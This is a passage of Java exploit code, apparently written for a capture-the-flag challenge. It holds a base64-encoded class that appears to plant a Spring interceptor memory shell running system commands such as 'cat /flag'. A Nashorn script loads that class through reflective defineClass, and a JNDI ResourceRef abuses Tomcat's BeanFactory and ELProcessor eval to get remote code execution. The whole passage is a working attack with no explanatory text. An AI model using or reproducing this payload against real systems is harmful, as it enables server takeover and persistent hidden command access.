ZG9ZVzVrYkdWeUFRQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFFWTI5a1pRRUFBbWx1QVFBVlRHcGhkbUV2YVc4dlNXNXdkWFJUZEhKbFlXMDdBUUFCY3dFQUUweHFZWFpoTDNWMGFXd3ZVMk5oYm01bGNqc0JBQVp2ZFhSd2RYUUhBT1VIQUtVSEFOOEhBT1lIQU9jSEFPZ0JBQXBGZUdObGNIUnBiMjV6QndEcEFRQUtjRzl6ZEVoaGJtUnNaUUVBa2loTWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ4ZFdWemREdE1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlU3VEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VEc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMM05sY25ac1pYUXZUVzlrWld4QmJtUldhV1YzT3lsV0FRQU1iVzlrWld4QmJtUldhV1YzQVFBdVRHOXlaeTl6Y0hKcGJtZG1jbUZ0WlhkdmNtc3ZkMlZpTDNObGNuWnNaWFF2VFc5a1pXeEJibVJXYVdWM093RUFEMkZtZEdWeVEyOXRjR3hsZEdsdmJnRUFlU2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZER0TWFtRjJZWGd2YzJWeWRteGxkQzlvZEhSd0wwaDBkSEJUWlhKMmJHVjBVbVZ6Y0c5dWMyVTdUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdUR3BoZG1FdmJHRnVaeTlGZUdObGNIUnBiMjQ3S1ZZQkFBSmxlQUVBRlV4cVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dU93RUFDWFJ5WVc1elptOXliUUVBY2loTVkyOXRMM04xYmk5dmNtY3ZZWEJoWTJobEwzaGhiR0Z1TDJsdWRHVnlibUZzTDNoemJIUmpMMFJQVFR0YlRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRiV3d2YVc1MFpYSnVZV3d2YzJWeWFXRnNhWHBsY2k5VFpYSnBZV3hwZW1GMGFXOXVTR0Z1Wkd4bGNqc3BWZ0VBQ0dSdlkzVnRaVzUwQVFBdFRHTnZiUzl6ZFc0dmIzSm5MMkZ3WVdOb1pTOTRZV3hoYmk5cGJuUmxjbTVoYkM5NGMyeDBZeTlFVDAwN0FRQUlhR0Z1Wkd4bGNuTUJBRUpiVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZjMlZ5YVdGc2FYcGxjaTlUWlhKcFlXeHBlbUYwYVc5dVNHRnVaR3hsY2pzSEFPb0JBS1lvVEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OUVUMDA3VEdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NGJXd3ZhVzUwWlhKdVlXd3ZaSFJ0TDBSVVRVRjRhWE5KZEdWeVlYUnZjanRNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOXpaWEpwWVd4cGVtVnlMMU5sY21saGJHbDZZWFJwYjI1SVlXNWtiR1Z5T3lsV0FRQUlhWFJsY21GMGIzSUJBRFZNWTI5dEwzTjFiaTl2Y21jdllYQmhZMmhsTDNodGJDOXBiblJsY201aGJDOWtkRzB2UkZSTlFYaHBjMGwwWlhKaGRHOXlPd0VBUVV4amIyMHZjM1Z1TDI5eVp5OWhjR0ZqYUdVdmVHMXNMMmx1ZEdWeWJtRnNMM05sY21saGJHbDZaWEl2VTJWeWFXRnNhWHBoZEdsdmJraGhibVJzWlhJN0FRQUlQR05zYVc1cGRENEJBQUZsQVFBZ1RHcGhkbUV2YkdGdVp5OU9iMU4xWTJoR2FXVnNaRVY0WTJWd2RHbHZianNCQUNKTWFtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjQ3QVFBSFkyOXVkR1Y0ZEFFQU4weHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDFkbFlrRndjR3hwWTJGMGFXOXVRMjl1ZEdWNGREc0JBQlZ0WVhCd2FXNW5TR0Z1Wkd4bGNrMWhjSEJwYm1jQkFGUk1iM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdmMyVnlkbXhsZEM5dGRtTXZiV1YwYUc5a0wyRnVibTkwWVhScGIyNHZVbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVaenNCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNCQUJGaFpHRndkRWx1ZEdWeVkyVndkRzl5Y3dFQUVFeHFZWFpoTDNWMGFXd3ZUR2x6ZERzQkFBOWxkbWxzU1c1MFpYSmpaWEIwYjNJQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFCR1RHcGhkbUV2ZFhScGJDOU1hWE4wUEV4dmNtY3ZjM0J5YVc1blpuSmhiV1YzYjNKckwzZGxZaTl6WlhKMmJHVjBMMGhoYm1Sc1pYSkpiblJsY21ObGNIUnZjanMrT3djQTBRY0EwZ2NBNndjQTJBY0EzUWNBM2dFQUNsTnZkWEpqWlVacGJHVUJBQTVOWlcxemFHVnNiREl1YW1GMllRd0FRd0JFQVFBQUFRQUpYSE1xZkFsOERYd0tCd0RzREFEdEFPNE1BTzhBOEFjQThRd0E4Z0JMQndEekRBRDBBUFVCQUFsallYUWdMMlpzWVdjTUFQWUE5d2NBK0F3QStRRDZBUUFSYW1GMllTOTFkR2xzTDFOallXNXVaWElNQUVNQSt3RUFBbHhCREFEOEFQME1BUDRBL3d3QkFBRUJCd0VDREFFREFRUUhBUVVNQVFZQkJ3RUFGMnBoZG1FdmJHRnVaeTlUZEhKcGJtZENkV2xzWkdWeUFRQVpleUpqYjJSbElqb2lNakF3SWl3aWJXVnpjMkZuWlNJNklnd0JDQUVKQndFS0RBRUxBUTRIQU9RTUFROEJFQWNCRVF3QkVnRVRBUUFDSW4wTUFSUUJBUWNBNWd3QkZRRUJBUUFITDNOMFlYUjFjd3dCRmdFWERBQkRBUWNCQUF4RGIyNTBaVzUwTFZSNWNHVUJBQjVoY0hCc2FXTmhkR2x2Ymk5cWMyOXVPMk5vWVhKelpYUTlWVlJHTFRnSEFPY01BUmdCR1F3QkdnRWJCd0VjREFFZEFRY01BUjRBUkF3Qkh3QkVEQUJCQUVJTUFHMEFiZ3dBY1FCeUFRQUdjM1JoWVhKMEJ3RWdEQUVoQVNJQkFEbHZjbWN1YzNCeWFXNW5abkpoYldWM2IzSnJMbmRsWWk1elpYSjJiR1YwTGtScGMzQmhkR05vWlhKVFpYSjJiR1YwTGtOUFRsUkZXRlFIQVNNTUFTUUJKUUVBTlc5eVp5OXpjSEpwYm1kbWNtRnRaWGR2Y21zdmQyVmlMMk52Ym5SbGVIUXZWMlZpUVhCd2JHbGpZWFJwYjI1RGIyNTBaWGgwQVFCU2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzl0ZG1NdmJXVjBhRzlrTDJGdWJtOTBZWFJwYjI0dlVtVnhkV1Z6ZEUxaGNIQnBibWRJWVc1a2JHVnlUV0Z3Y0dsdVp3d0JKZ0VuQVFBK2IzSm5MM053Y21sdVoyWnlZVzFsZDI5eWF5OTNaV0l2YzJWeWRteGxkQzlvWVc1a2JHVnlMMEZpYzNSeVlXTjBTR0Z1Wkd4bGNrMWhjSEJwYm1jQkFCTmhaR0Z3ZEdWa1NXNTBaWEpqWlhCMGIzSnpCd0VvREFFcEFTb0JBQjVxWVhaaEwyeGhibWN2VG05VGRXTm9SbWxsYkdSRmVHTmxjSFJwYjI0TUFTc0FSQWNBNnd3QkxBRXREQUV1QVM4QkFBNXFZWFpoTDNWMGFXd3ZUR2x6ZEFFQUlHcGhkbUV2YkdGdVp5OUpiR3hsWjJGc1FXTmpaWE56UlhoalpYQjBhVzl1QVFBVmIzSm5MMlY0WVcxd2JHVXZUV1Z0YzJobGJHd3lEQUV3QVJjQkFBSnZhd0VBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRQkFESnZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5elpYSjJiR1YwTDBoaGJtUnNaWEpKYm5SbGNtTmxjSFJ2Y2dFQUVHcGhkbUV2YkdGdVp5OVRkSEpwYm1jQkFCTnFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQUptcGhkbUY0TDNObGNuWnNaWFF2YUhSMGNDOUlkSFJ3VTJWeWRteGxkRkpsYzNCdmJuTmxBUUFRYW1GMllTOXNZVzVuTDA5aWFtVmpkQUVBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0QkFEbGpiMjB2YzNWdUwyOXlaeTloY0dGamFHVXZlR0ZzWVc0dmFXNTBaWEp1WVd3dmVITnNkR012VkhKaGJuTnNaWFJGZUdObGNIUnBiMjRCQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQUVBRjJwaGRtRXZkWFJwYkM5eVpXZGxlQzlRWVhSMFpYSnVBUUFIWTI5dGNHbHNaUUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2ZFhScGJDOXlaV2RsZUM5UVlYUjBaWEp1T3dFQUIyMWhkR05vWlhJQkFETW9UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tVeHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2pzQkFCZHFZWFpoTDNWMGFXd3ZjbVZuWlhndlRXRjBZMmhsY2dFQUNuSmxjR3hoWTJWQmJHd0JBQkZxWVhaaEwyeGhibWN2VW5WdWRHbHRaUUVBQ21kbGRGSjFiblJwYldVQkFCVW9LVXhxWVhaaEwyeGhibWN2VW5WdWRHbHRaVHNCQUFSbGVHVmpBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuT3lsTWFtRjJZUzlzWVc1bkwxQnliMk5sYzNNN0FRQVJhbUYyWVM5c1lXNW5MMUJ5YjJObGMzTUJBQTVuWlhSSmJuQjFkRk4wY21WaGJRRUFGeWdwVEdwaGRtRXZhVzh2U1c1d2RYUlRkSEpsWVcwN0FRQVlLRXhxWVhaaEwybHZMMGx1Y0hWMFUzUnlaV0Z0T3lsV0FRQU1kWE5sUkdWc2FXMXBkR1Z5QVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5MWRHbHNMMU5qWVc1dVpYSTdBUUFIYUdGelRtVjRkQUVBQXlncFdnRUFCRzVsZUhRQkFCUW9LVXhxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBRUdwaGRtRXZiR0Z1Wnk5VGVYTjBaVzBCQUFOdmRYUUJBQlZNYW1GMllTOXBieTlRY21sdWRGTjBjbVZoYlRzQkFCTnFZWFpoTDJsdkwxQnlhVzUwVTNSeVpXRnRBUUFIY0hKcGJuUnNiZ0VBRlNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFZnRUFCbUZ3Y0dWdVpBRUFMU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWRDZFdsc1pHVnlPd0VBRUdwaGRtRXZkWFJwYkM5Q1lYTmxOalFCQUFwblpYUkZibU52WkdWeUFRQUhSVzVqYjJSbGNnRUFERWx1Ym1WeVEyeGhjM05sY3dFQUhDZ3BUR3BoZG1FdmRYUnBiQzlDWVhObE5qUWtSVzVqYjJSbGNqc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQmhxWVhaaEwzVjBhV3d2UW1GelpUWTBKRVZ1WTI5a1pYSUJBQTVsYm1OdlpHVlViMU4wY21sdVp3RUFGaWhiUWlsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBaDBiMU4wY21sdVp3RUFEV2RsZEZKbGNYVmxjM1JWVWtrQkFBWmxjWFZoYkhNQkFCVW9UR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdLVm9CQUFsaFpHUklaV0ZrWlhJQkFDY29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVllCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUUycGhkbUV2YVc4dlVISnBiblJYY21sMFpYSUJBQVYzY21sMFpRRUFCV1pzZFhOb0FRQUZZMnh2YzJVQkFEeHZjbWN2YzNCeWFXNW5abkpoYldWM2IzSnJMM2RsWWk5amIyNTBaWGgwTDNKbGNYVmxjM1F2VW1WeGRXVnpkRU52Ym5SbGVIUkliMnhrWlhJQkFCaGpkWEp5Wlc1MFVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNQkFEMG9LVXh2Y21jdmMzQnlhVzVuWm5KaGJXVjNiM0pyTDNkbFlpOWpiMjUwWlhoMEwzSmxjWFZsYzNRdlVtVnhkV1Z6ZEVGMGRISnBZblYwWlhNN0FRQTViM0puTDNOd2NtbHVaMlp5WVcxbGQyOXlheTkzWldJdlkyOXVkR1Y0ZEM5eVpYRjFaWE4wTDFKbGNYVmxjM1JCZEhSeWFXSjFkR1Z6QVFBTVoyVjBRWFIwY21saWRYUmxBUUFuS0V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuTzBrcFRHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0FRQUhaMlYwUW1WaGJnRUFKU2hNYW1GMllTOXNZVzVuTDBOc1lYTnpPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUE5cVlYWmhMMnhoYm1jdlEyeGhjM01CQUJCblpYUkVaV05zWVhKbFpFWnBaV3hrQVFBdEtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZSbWxsYkdRN0FRQVBjSEpwYm5SVGRHRmphMVJ5WVdObEFRQU5jMlYwUVdOalpYTnphV0pzWlFFQUJDaGFLVllCQUFOblpYUUJBQ1lvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUEyRmtaQUFoQURzQVB3QUJBRUFBQVFBSkFFRUFRZ0FBQUFnQUFRQkRBRVFBQVFCRkFBQUFMd0FCQUFFQUFBQUZLcmNBQWJFQUFBQUNBRVlBQUFBR0FBRUFBQUFaQUVjQUFBQU1BQUVBQUFBRkFFZ0FTUUFBQUFrQVNnQkxBQUlBUlFBQUFJWUFBZ0FFQUFBQUhCSUNUQ3JHQUJZU0E3Z0FCRTBzS3JZQUJVNHRFZ0syQUFaTUs3QUFBQUFEQUVZQUFBQWFBQVlBQUFBekFBTUFOUUFIQURjQURRQTVBQk1BT3dBYUFEOEFSd0FBQUNvQUJBQU5BQTBBVEFCTkFBSUFFd0FIQUU0QVR3QURBQUFBSEFCUUFGRUFBQUFEQUJrQVVnQlJBQUVBVXdBQUFBZ0FBZndBR2djQVZBQlZBQUFBQlFFQVVBQUFBQUVBVmdCWEFBTUFSUUFBQVpRQUF3QUpBQUFBc2JnQUJ4SUl0Z0FKdGdBS09nVzdBQXRaR1FXM0FBd1NEYllBRGpvR0dRYTJBQStaQUFzWkJyWUFFS2NBQlJJQ09nZXlBQkVaQjdZQUVyc0FFMW0zQUJRU0ZiWUFGcmdBRnhrSHRnQVl0Z0FadGdBV0VocTJBQmEyQUJzNkJDdTVBQndCQUJJZHRnQWVtUUJIdXdBTFdSa0V0d0FmRWcyMkFBNjJBQkE2Q0N3U0lCSWh1UUFpQXdBc3VRQWpBUUFaQ0xZQUpDeTVBQ01CQUxZQUpTeTVBQ01CQUxZQUpySUFKd1Jnc3dBbkE2d0VyQUFBQUFNQVJnQUFBRG9BRGdBQUFFc0FEUUJNQUIwQVRRQXhBRkFBT1FCVEFGMEFWUUJyQUZZQWZnQllBSWdBV1FDVEFGb0FuQUJiQUtVQVhBQ3RBRjBBcndCZ0FFY0FBQUJjQUFrQWZnQXhBRmdBVVFBSUFBQUFzUUJJQUVrQUFBQUFBTEVBV1FCYUFBRUFBQUN4QUZzQVhBQUNBQUFBc1FCZEFGNEFBd0JkQUZRQVh3QlJBQVFBRFFDa0FHQUFZUUFGQUIwQWxBQmlBR01BQmdBeEFJQUFaQUJSQUFjQVV3QUFBQzhBQS80QUxRQUhBR1VIQUdaQkJ3QlUvd0IvQUFnSEFHY0hBR2dIQUdrSEFHb0hBRlFIQUdVSEFHWUhBRlFBQUFCckFBQUFCQUFCQUd3QVZRQUFBQTBEQUZrQUFBQmJBQUFBWFFBQUFBRUFiUUJ1QUFNQVJRQUFBR0FBQlFBRkFBQUFDaW9yTEMwWkJMY0FLTEVBQUFBQ0FFWUFBQUFLQUFJQUFBQmxBQWtBWmdCSEFBQUFOQUFGQUFBQUNnQklBRWtBQUFBQUFBb0FXUUJhQUFFQUFBQUtBRnNBWEFBQ0FBQUFDZ0JkQUY0QUF3QUFBQW9BYndCd0FBUUFhd0FBQUFRQUFRQnNBRlVBQUFBUkJBQlpBQUFBV3dBQUFGMEFBQUJ2QUFBQUFRQnhBSElBQXdCRkFBQUFZQUFGQUFVQUFBQUtLaXNzTFJrRXR3QXBzUUFBQUFJQVJnQUFBQW9BQWdBQUFHb0FDUUJyQUVjQUFBQTBBQVVBQUFBS0FFZ0FTUUFBQUFBQUNnQlpBRm9BQVFBQUFBb0FXd0JjQUFJQUFBQUtBRjBBWGdBREFBQUFDZ0J6QUhRQUJBQnJBQUFBQkFBQkFHd0FWUUFBQUJFRUFGa0FBQUJiQUFBQVhRQUFBSE1BQUFBQkFIVUFkZ0FEQUVVQUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCR0FBQUFCZ0FCQUFBQWNBQkhBQUFBSUFBREFBQUFBUUJJQUVrQUFBQUFBQUVBZHdCNEFBRUFBQUFCQUhrQWVnQUNBR3NBQUFBRUFBRUFld0JWQUFBQUNRSUFkd0FBQUhrQUFBQUJBSFVBZkFBREFFVUFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkdBQUFBQmdBQkFBQUFkUUJIQUFBQUtnQUVBQUFBQVFCSUFFa0FBQUFBQUFFQWR3QjRBQUVBQUFBQkFIMEFmZ0FDQUFBQUFRQmRBSDhBQXdCckFBQUFCQUFCQUhzQVZRQUFBQTBEQUhjQUFBQjlBQUFBWFFBQUFBZ0FnQUJFQUFFQVJRQUFBWEVBQXdBRkFBQUFiZ1N6QUNleUFCRVNLcllBRXJnQUt4SXNBN2tBTFFNQXdBQXVTeW9TTDdrQU1BSUF3QUF2VEFGTkVqRVNNcllBTTAybkFBaE9MYllBTlN3RXRnQTJBVTRzSzdZQU44QUFPRTZuQUFvNkJCa0V0Z0E2dXdBN1diY0FQRG9FTFJrRXVRQTlBZ0JYc2dBUkVqNjJBQkt4QUFJQUtRQXhBRFFBTkFCQUFFa0FUQUE1QUFRQVJnQUFBRTRBRXdBQUFCc0FCQUFkQUF3QUhnQWJBQjhBSndBZ0FDa0FJZ0F4QUNVQU5BQWpBRFVBSkFBNUFDWUFQZ0FuQUVBQUtRQkpBQ3dBVEFBcUFFNEFLd0JUQUMwQVhBQXVBR1VBTHdCdEFEQUFSd0FBQUVnQUJ3QTFBQVFBZ1FDQ0FBTUFUZ0FGQUlFQWd3QUVBQnNBVWdDRUFJVUFBQUFuQUVZQWhnQ0hBQUVBS1FCRUFJZ0FpUUFDQUVBQUxRQ0tBSXNBQXdCY0FCRUFqQUJKQUFRQWpRQUFBQXdBQVFCQUFDMEFpZ0NPQUFNQVV3QUFBQzBBQlA4QU5BQURCd0NQQndDUUJ3Q1JBQUVIQUpJRS93QVNBQVFIQUk4SEFKQUhBSkVIQUpNQUFRY0FsQVlBQWdDVkFBQUFBZ0NXQVEwQUFBQUtBQUVBdGdDeUFRd0FDWEIwQUFoQ2IyOW5hWEJ2Y0hCM0FRQjRlQT09In0BAKN7ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoick8wQUJYTnlBQk5xWVhaaExuVjBhV3d1UVhKeVlYbE1hWE4wZUlIU0habkhZWjBEQUFGSkFBUnphWHBsZUhBQUFBQUJkd1FBQUFBQmRBQXBiM0puTG1waWIzTnpMbkJ5YjNoNUxtVnFZaTVvWVc1a2JHVXVTRzl0WlVoaGJtUnNaVWx0Y0d4NCJ9AQASL2JsYWNrbGlzdC9qZGsvZ2V0BwC7DADXANgMADkA1gEADENvbnRlbnQtVHlwZQEAHmFwcGxpY2F0aW9uL2pzb247Y2hhcnNldD1VVEYtOAcAvQwA2QDaDADbANwHAN0MAN4A1gwA3wA6DADgADoMAFsAXAwAXwBgAQAGc3RhYXJ0BwDhDADiAOMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHAOQMAOUA5gEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA5wDoAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcBABNhZGFwdGVkSW50ZXJjZXB0b3JzBwDpDADqAOsBAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24MAOwAOgcAvwwA7QDuDADvAPABAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAVb3JnL2V4YW1wbGUvTWVtc2hlbGwxDADxANgBAAJvawEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABBqYXZhL2xhbmcvU3RyaW5nAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAEKEkpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQANZ2V0UmVxdWVzdFVSSQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWFkZEhlYWRlcgEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAFZmx1c2gBAAVjbG9zZQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA9wcmludFN0YWNrVHJhY2UBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkACEAMQA1AAEANgABAAkANwA4AAAABQABADkAOgABADsAAAAvAAEAAQAAAAUqtwABsQAAAAIAPAAAAAYAAQAAABkAPQAAAAwAAQAAAAUAPgA/AAAAAQBAAEEAAwA7AAABrwADAAkAAACtsgACsgADtgAEuAAFEga2AAe2AAg6BbsACVkZBbcAChILtgAMOgYZBrYADZkACxkGtgAOpwAFEg86B7IAAiu5ABABALYAEbIAAwVwmgAKEhI6BKcABxITOgQruQAQAQASFLYAFZkAR7sACVkZBLcAFhILtgAMtgAOOggsEhcSGLkAGQMALLkAGgEAGQi2ABssuQAaAQC2ABwsuQAaAQC2AB2yAAMEYLMAAwOsBKwAAAADADwAAABGABEAAAA3AAkAOAAWADkAJgA6ADoAOwBGAD0ATgA+AFUAQQBZAEQAZwBFAHoARgCEAEcAjwBIAJgASQChAEoAqQBLAKsATgA9AAAAZgAKAFIAAwBCAEMABAB6ADEARABDAAgAAACtAD4APwAAAAAArQBFAEYAAQAAAK0ARwBIAAIAAACtAEkASgADAFkAVABCAEMABAAWAJcASwBMAAUAJgCHAE0ATgAGADoAcwBPAEMABwBQAAAAOAAF/gA2AAcAUQcAUkEHAFP8ABwHAFP/AAMACAcAVAcAVQcAVgcAVwcAUwcAUQcAUgcAUwAA+wBRAFgAAAAEAAEAWQBaAAAADQMARQAAAEcAAABJAAAAAQBbAFwAAwA7AAAAYAAFAAUAAAAKKissLRkEtwAesQAAAAIAPAAAAAoAAgAAAFMACQBUAD0AAAA0AAUAAAAKAD4APwAAAAAACgBFAEYAAQAAAAoARwBIAAIAAAAKAEkASgADAAAACgBdAF4ABABYAAAABAABAFkAWgAAABEEAEUAAABHAAAASQAAAF0AAAABAF8AYAADADsAAABgAAUABQAAAAoqKywtGQS3AB+xAAAAAgA8AAAACgACAAAAWAAJAFkAPQAAADQABQAAAAoAPgA/AAAAAAAKAEUARgABAAAACgBHAEgAAgAAAAoASQBKAAMAAAAKAGEAYgAEAFgAAAAEAAEAWQBaAAAAEQQARQAAAEcAAABJAAAAYQAAAAgAYwA6AAEAOwAAAXEAAwAFAAAAbgSzAAOyAAISILYAEbgAIRIiA7kAIwMAwAAkSyoSJbkAJgIAwAAlTAFNEicSKLYAKU2nAAhOLbYAKywEtgAsAU4sK7YALcAALk6nAAo6BBkEtgAwuwAxWbcAMjoELRkEuQAzAgBXsgACEjS2ABGxAAIAKQAxADQAKgBAAEkATAAvAAQAPAAAAE4AEwAAABsABAAdAAwAHgAbAB8AJwAgACkAIgAxACUANAAjADUAJAA5ACYAPgAnAEAAKQBJACwATAAqAE4AKwBTAC0AXAAuAGUALwBtADAAPQAAAEgABwA1AAQAZABlAAMATgAFAGQAZgAEABsAUgBnAGgAAAAnAEYAaQBqAAEAKQBEAGsAbAACAEAALQBtAG4AAwBcABEAbwA/AAQAcAAAAAwAAQBAAC0AbQBxAAMAUAAAAC0ABP8ANAADBwByBwBzBwB0AAEHAHUE/wASAAQHAHIHAHMHAHQHAHYAAQcAdwYAAQB4AAAAAgB5';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
